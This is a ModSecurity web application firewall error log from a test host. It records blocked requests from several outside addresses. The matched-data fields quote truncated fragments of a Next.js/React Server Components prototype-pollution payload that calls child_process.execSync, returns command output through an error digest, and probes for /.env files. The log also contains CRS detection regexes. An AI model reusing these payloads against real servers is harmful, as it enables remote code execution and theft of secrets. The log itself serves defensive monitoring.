&quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNDhDL5QTdZ-T3ORXYQAAAAI&quot;]
[Fri Jan 23 07:03:32.510696 2026] [:error] [pid 1596304] [client 35.203.86.5:59586] [client 35.203.86.5] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNDhDL5QTdZ-T3ORXYQAAAAI&quot;]
[Fri Jan 23 07:03:32.510899 2026] [:error] [pid 1596304] [client 35.203.86.5:59586] [client 35.203.86.5] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNDhDL5QTdZ-T3ORXYQAAAAI&quot;]
[Fri Jan 23 07:03:32.848765 2026] [:error] [pid 1596306] [client 35.203.86.5:59592] [client 35.203.86.5] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((6 7))test).tostring() })() throw object.assign(new error(next_redirect) {digest:`next_redirect push/x?d=${encodeuricomponent(string(res)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(echo ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNOy_9eFkHbLGBIDwmwAAAAQ&quot;]
[Fri Jan 23 07:03:32.849123 2026] [:error] [pid 1596306] [client 35.203.86.5:59592] [client 35.203.86.5] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6+7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNOy_9eFkHbLGBIDwmwAAAAQ&quot;]
[Fri Jan 23 07:03:32.849175 2026] [:error] [pid 1596306] [client 35.203.86.5:59592] [client 35.203.86.5] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6 7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNOy_9eFkHbLGBIDwmwAAAAQ&quot;]
[Fri Jan 23 07:03:32.850574 2026] [:error] [pid 1596306] [client 35.203.86.5:59592] [client 35.203.86.5] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNOy_9eFkHbLGBIDwmwAAAAQ&quot;]
[Fri Jan 23 07:03:32.850752 2026] [:error] [pid 1596306] [client 35.203.86.5:59592] [client 35.203.86.5] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMPNOy_9eFkHbLGBIDwmwAAAAQ&quot;]
[Fri Jan 23 08:00:05.256902 2026] [:error] [pid 1596306] [client 159.69.177.227:59056] [client 159.69.177.227] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${encodeuricomponent(string(res))} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(uname -m).tostring() })() throw object.assign(...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcdey_9eFkHbLGBIDwoAAAAAQ&quot;]
[Fri Jan 23 08:00:05.257361 2026] [:error] [pid 1596306] [client 159.69.177.227:59056] [client 159.69.177.227] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;uname -m&#039;).toString...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcdey_9eFkHbLGBIDwoAAAAAQ&quot;]
[Fri Jan 23 08:00:05.258882 2026] [:error] [pid 1596306] [client 159.69.177.227:59056] [client 159.69.177.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcdey_9eFkHbLGBIDwoAAAAAQ&quot;]
[Fri Jan 23 08:00:05.259088 2026] [:error] [pid 1596306] [client 159.69.177.227:59056] [client 159.69.177.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcdey_9eFkHbLGBIDwoAAAAAQ&quot;]
[Fri Jan 23 08:00:07.361336 2026] [:error] [pid 1596305] [client 159.69.177.227:59068] [client 159.69.177.227] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((6 7))test).tostring() })() throw object.assign(new error(next_redirect) {digest:`next_redirect push/x?d=${encodeuricomponent(string(res)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(echo ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcd9QNWLaY5yErJgchjQAAAAM&quot;]
[Fri Jan 23 08:00:07.363372 2026] [:error] [pid 1596305] [client 159.69.177.227:59068] [client 159.69.177.227] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6+7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcd9QNWLaY5yErJgchjQAAAAM&quot;]
[Fri Jan 23 08:00:07.363430 2026] [:error] [pid 1596305] [client 159.69.177.227:59068] [client 159.69.177.227] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!==&#039;undefined&#039;?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!==&#039;undefined&#039;?globalThis.require:null));return _r(&#039;child_process&#039;).execSync(&#039;echo TEST$((6 7))TE...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcd9QNWLaY5yErJgchjQAAAAM&quot;]
[Fri Jan 23 08:00:07.364862 2026] [:error] [pid 1596305] [client 159.69.177.227:59068] [client 159.69.177.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcd9QNWLaY5yErJgchjQAAAAM&quot;]
[Fri Jan 23 08:00:07.365049 2026] [:error] [pid 1596305] [client 159.69.177.227:59068] [client 159.69.177.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXMcd9QNWLaY5yErJgchjQAAAAM&quot;]
[Fri Jan 23 22:25:44.787741 2026] [:error] [pid 1596306] [client 141.98.11.171:47804] [client 141.98.11.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXPnWOy_9eFkHbLGBIDw6AAAAAQ&quot;]
[Fri Jan 23 22:25:44.787971 2026] [:error] [pid 1596306] [client 141.98.11.171:47804] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXPnWOy_9eFkHbLGBIDw6AAAAAQ&quot;]
[Fri Jan 23 22:25:44.788145 2026] [:error] [pid 1596306] [client 141.98.11.171:47804] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXPnWOy_9eFkHbLGBIDw6AAAAAQ&quot;]
[Fri Jan 23 22:25:44.824948 2026] [:error] [pid 1596306] [client 141.98.11.171:47804] [client 141.98.11.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXPnWOy_9eFkHbLGBIDw6QAAAAQ&quot;]
[Fri Jan 23 22:25:44.825248 2026] [:error] [pid 1596306] [client 141.98.11.171:47804] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXPnWOy_9eFkHbLGBIDw6QAAAAQ&quot;]
[Fri Jan 23 22:25:44.825421 2026] [:error] [pid 1596306] [client 141.98.11.171:47804] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXPnWOy_9eFkHbLGBIDw6QAAAAQ&quot;]
[Mon Jan 26 04:19:08.373120 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Rule 7f8241c58898 [id &quot;932110&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;258&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.374444 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Rule 7f8241c4d760 [id &quot;932115&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;298&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.376217 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: eval(user_code);            Promise.resolve(val).then(function(v) {                var res_str = (typeof v === &#039;object&#039;) ? JSON.stringify(v) : String(v);                try { res_str = zlib.deflateSync(res_str); } catch(e) {}                var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString(&#039;hex&#039;);                reject(Object.assign(new Error(&#039;RCE_RES&#039;), { digest: res_hex }));            }).catch(function(e) {                reject(Object.assign(new Er...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_C [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.376346 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Rule 7f824189ebf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
[Mon Jan 26 04:19:08.376507 2026] [:error] [pid 1660220] [client 34.61.110.114:41890] [client 34.61.110.114] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXbdLPNEOx_T9S46vetgJgAAAAE&quot;]
